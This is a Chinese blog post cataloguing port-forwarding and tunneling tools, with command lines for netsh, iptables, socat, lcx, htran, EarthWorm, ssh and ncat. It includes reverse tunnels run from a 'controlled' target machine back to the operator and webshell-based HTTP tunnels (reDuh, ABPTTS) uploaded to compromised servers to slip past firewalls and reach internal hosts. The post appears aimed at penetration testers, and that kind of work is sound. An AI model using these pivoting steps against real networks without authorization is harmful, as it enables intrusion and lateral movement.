端口转发(隧道)工具合集记录

正向端口转发(重定向流量)
1.netsh
2.iptables
3.socat
4.lcx
5.htran
6.ew
7.termite
8.portmap
9.rtcp
10.FPipe
11.portfwd
12.rinetd
13.powershell
14.ssh
15.passport
16.netcat

反向端口转发
1.ew
2.htran
3.lcx
4.portmap
5.ssh

webshell类端口转发
1.ReDuh
2.ABPTTS
3.Tunna

第三方自建内网穿透工具
1.ngork
2.nps
3.frp
4.lanproxy
5.holer

======================================================================================

netsh interface portproxy add v4tov4 listenport=8833 connectport=3389 connectaddress=10.0.1.251 protocol=tcp
表示本地监听8833端口,将流量转发到10.0.1.251的3389端口,流量转发也可以理解为重定向流量

netsh interface portproxy dump
查看端口转发

netsh interface portproxy delete v4tov4 listenport=8833
删除端口转发

 

iptables

添加路由转发

echo 1 > /proc/sys/net/ipv4/ip_forward

iptables的INPUT链配置允许放行

iptables -P INPUT ACCEPT

添加转发规则

iptables -t nat -A PREROUTING -d 10.0.1.76 -p tcp -m tcp --dport 8833 -j DNAT --to-destination 10.0.1.251:3389

告诉其进来之后的流量要从转给10.0.1.76上回去

iptables -t nat -A POSTROUTING -d 10.0.1.251 -p tcp -m tcp --dport 3389 -j SNAT --to-source 10.0.1.76

防火墙策略放通

iptables -A FORWARD -o ens199 -d 10.0.1.251 -p tcp --dport 3389 -j ACCEPT

保存iptables服务然后重启

/etc/init.d/iptables save && /etc/init.d/iptables restart

同样可以利用类似上面操作方式转发ssh端口

iptables -t nat -A PREROUTING -d 192.168.1.6 -p tcp -m tcp --dport 2222 -j DNAT --to-destination 192.168.1.5:22

iptables -t nat -A POSTROUTING -d 192.168.1.5 -p tcp -m tcp --dport 22 -j SNAT --to-source 192.168.1.6

iptables -A FORWARD -o eth2 -d 192.168.1.5 -p tcp --dport 22 -j ACCEPT

/etc/init.d/iptables save && /etc/init.d/iptables restart

 

socat

地址:http://www.dest-unreach.org/socat/

可以直接在kali上使用apt-get install socat进行安装

socat TCP4-LISTEN:8833,reuseaddr,fork TCP4:10.0.1.251:3389

 

lcx

lcx -tran 8833 10.0.1.251 3389

 

htran

htran -p tran 8833 10.0.1.251 3389

 

EW 此工具官方已经不更新了,作者反馈危害很大,并且已经不提供下载地址了

该工具共有6中命令格式(ssocksd、rcsocks、rssocks、lcx_slave、lcx_listen、lcx_tran)。

工具地址:http://rootkiter.com/EarthWorm

ew -s lcx_tran -l 8833 -f 10.0.1.251 -g 3389

 

Termite

agent_linux64 -l 8833

agent_linux64 -c 10.0.1.251 -p 8833

agent_win32.exe -c 10.0.1.251 p 8833

show 

goto 2

lcxtran 3388 10.0.1.252 3389

 

portmap linux环境下的lcx

linux_portmap -m 1 -p1 8833 -h2 10.0.1.251 -p2 3389

 

rtcp

rtcp.py 1:10001 l:10002 表示在本地监听两个端口10001和10002

rtcp.py c:localhost:22 c:112.112.11.1:10001

ssh -p 10002 112.112.11.1

https://github.com/knownsec/rtcp 具体可参考官方的示例

 

FPipe

这个只适合Windows不是太好用

Fpipe.exe -l 8833 -r 3389 10.0.1.251 -v

 

portfwd

metasploit中的工具

portfwd add -l 8833 -r 10.0.1.251 -p 3389

 

rinetd

挺好用的,地址:http://www.boutell.com/rinetd

同样是正向端口转发,也可以理解为流量重定向

 

powershell

PS>Powershell -exec -bypass
PS>Import-Module .\Invoke-SocksProxy.psm1
PS>Invoke-PortFwd -BindPort 8833 -DestHost 10.0.1.251 -DestPort 3389

 

ssh正向tcp端口加密转发

这里就是经常说的ssh本地端口转发

相应的参数说明和示例如下:

ssh -CfNg -L 8833:127.0.0.1:2222 user@ip //VPS 本地访问VPS:8080就是内网的22端口

-C:该参数将使ssh压缩所有通过Secure Shell客户端发送的数据,包括输入、输出、错误消息及转发数据。它使用gzip算法,压缩级别可通过设置配制文件中的参数Compressicn Level来指定。这对于缓慢的传输线路特别有用的。但对于传输速度已经很快的网络则显得没有必要。同样,你可以利用配制文件针对每台主机配置这个参数。
-f:该参数将ssh连接送入后台执行。这在验证已经完成且TCP/IP转发已经建立的情况下会生效。这对在远程主机上启动X程序显得十分重要。其后用户将被提示要求输入口令(提供的认证代理不运行),然后将连接送往后台。
-g:该参数允许远程主机通过端口转发与主机端口相连,通常情况下仅允许本地主机这样做。
-N:不执行远程指令。
-R:远程转发
-L:本地转发
-D:动态转发,即socks代理
-p:指定远程ssh服务端口
-n:后台运行
-p:安静模式,不要显示任何debug信息

 

操作之前先检查下ssh的配置,如果有密钥互信也是可以的,没有就密码认证


# vim /etc/ssh/sshd_config
AllowTcpForwarding yes
GatewayPorts yes
TCPKeepAlive yes 保持心跳,防止 ssh 断开
PasswordAuthentication yes
# systemctl restart sshd

 

ssh -CfNg -L 0.0.0.0:8833:10.0.1.251:3389 root@10.0.1.87 -p 22

然后mstsc 10.0.1.251即可

或者

rdesktop -f -a 16 127.0.0.1:8833 -r sound:off -g 1024*768

 

netcat

ncat -l 8833 | ncat 10.0.1.251 3389

 

============================================================================================================================

反向端口转发

ew

本机 ip 10.0.1.87
ew -s lcx_listen -l 8833 -e 3308

目标被控制机器执行
ew -s lcx_slave -d 10.0.1.87 -e 3308 -f 10.0.1.251 -g 3389

mstsc 127.0.0.1 8833

 

htran

这个是多线程包转发,socks5 端口复用socks5和反连socks5

本机执行

htran -p -listen 53 8833

目标机器执行

htran -p -slave 10.0.1.87 53 10.0.1.251 3389

mstsc 127.0.0.1 8833

 

lcx

本机执行

lcx -listen 53 8833

目标主机执行

lcx -slave 10.0.1.87 53 10.0.1.251 3389

mstsc 127.0.0.1 8833

 

portmap

本机执行

linux_portmap -m 2 -p1 53 -p2 8833

目标主机执行

linux_portmap -m 3 -h1 10.0.1.87 -p1 53 -h2 10.0.1.86 -p2 22

ssh 127.0.0.1 -l root -p 8833

 

ssh远程端口转发

ssh -CfNg -R 0.0.0.0:53:10.0.1.251:3389 root@10.0.1.87 -p 22

这里需要说明一下,在ssh的远程端口转发中即使添加了参数-g也不能将隧道建立之后在本地监听0.0.0.0的IP地址,所以此参数在远程端口转发中是无效的,不管加与不加,成功建立隧道都是本地监听IP地址127.0.0.1 所以为了解决这个问题,就需要配合端口重定向的技术来解决,通常使用rinet来解决

vim /etc/rinetd.conf

编辑此配置文件添加转发规则

0.0.0.0 8833 127.0.0.1 53

上述添加完成需要重启rinetd服务

netstat -tunlpa | egrep "53|8833"

mstsc 10.0.1.87:8833

 

==========================================================================================================================

Webshell端口转发

ReDuh是SensePost在BlackHat USA 2008发布的关于隧道数据进出网络工具。ReDuh是一种可用于通过有效形成的HTTP请求创建TCP电路的工具。从本质上讲,这意味着如果我们可以在服务器上上传JSP / PHP / ASP页面,我们可以轻松地连接到该服务器后面的主机

默认的情况下会监听1010端口

前提是已经拿到目标的webshell,然后上传reDuh.jsp

然后本地客户端去连接

java -jar reDuhClient/dist/reDuhClient.jar http://10.0.1.87/reDuh.jsp
netstat -tlunp | grep ":1010"

使用nc去连接

nc -nv 127.0.0.1 1010

[createTunnel]2222:10.0.1.86:22

然后ssh连接

ssh 127.0.0.1 -l root -p 2222

此软件对应的升级版:https://github.com/NoneNotNull/reGeorg

 

ABPTTS

ABPTTS是NCC Group在2016年blackhat推出的一款将TCP流量通过HTTP/HTTPS进 行流量转发,在目前云主机的大环境中,发挥了比较重要的作用,可以通过脚本进行 RDP,SSH,Meterpreter的交互与连接。也意味着这样可以建立一个通过80端口得流量出站来 逃避防火墙。与其它http隧道不同的是,abptts是全加密

安装依赖环境

pip install pycrypto 加密库,整个通信数据加密基本都要靠这个库来实现
pip install httplib2

生成webshell服务端
python abpttsfactory.py -o webshell

上传到目标,进行访问
curl http://10.0.1.87/abptts.jsp

客户端连接服务端打通隧道
python abpttsclient.py -c webshell/config.txt -u "http://10.0.1.87/abptts.jsp" -f 127.0.0.1:8833/10.0.1.251:3389

远程连接
rdesktop -f -a 16 127.0.0.1:8833 -r sound:off -g 1024*768

也可以将目标22端口转出来
#python abpttsclient.py -c webshell/config.txt -u "http://10.0.1.87/abptts.jsp" -f 127.0.0.1:2228/10.0.1.92:22

然后使用ssh的动态端口转发打通隧道
ssh -qngfNT -D 6688 root@127.0.0.1 -p 2228
proxychains socks5 127.0.0.1 6688

上述搞完了,就可以直接通过ssh隧道技术连接目标内网的其他主机的22端口
proxychains ssh root@10.0.1.85

 

Tunna

Tunna是一款将TCP通信流量封装在HTTP协议的工具,适用于在有防火墙的环境中突破网络限制

 

第三方自建的内网穿透工具

ngrokngrok 是一个反向代理,通过在公共端点和本地运行的 Web 服务器之间建立一个安全的通道,实现内网主机的服务可以暴露给外网

国内版本 https://www.ngrok.cc/ ,比较简单,注册账户然后配置一下服务端,从此网站上下载客户端本地运行配置即可

国外版本 https://ngrok.com/ 开源项目地址:https://github.com/inconshreveable/ngrok

 

nps

nps是一款轻量级、高性能、功能强大的内网穿透代理服务器。目前支持tcp、udp流量转发,可支持任何tcp、udp上层协议(访问内网网站、本地支付接口调试、ssh访问、远程桌面,内网dns解析等等……),此外还支持内网http代理、内网socks5代理、p2p等,并带有功能强大的web管理端

开源地址:https://github.com/cnlh/nps

 

frp

frp 是一个可用于内网穿透的高性能的反向代理应用,支持 tcp, udp 协议,为 http 和 https 应用协议提供了额外的能力,且尝试性支持了点对点穿透,常用用于内网渗透

开源项目地址:https://github.com/fatedier/frp

 

Lanproxy

lanproxy是一个将局域网个人电脑、服务器代理到公网的内网穿透工具,目前仅支持tcp流量转发,可支持任何tcp上层协议

开源项目地址:https://github.com/ffay/lanproxy-go-client

 

Holer

Holer是一个将局域网中的应用映射到公网访问的端口映射软件,支持转发基于TCP协议的报文

开源项目地址:https://github.com/wisdom-projects/holer

 

natapp

官方地址:https://natapp.cn/

 

dog-tunnel

dog-tunnel基于kcp的p2p端口映射工具,同时支持socks5代理

开源项目地址:https://github.com/vzex/dog-tunnel

 

参考

https://xz.aliyun.com/t/142

posted @ 2021-04-16 22:00  皇帽讲绿帽带法技巧  阅读(955)  评论(0编辑  收藏  举报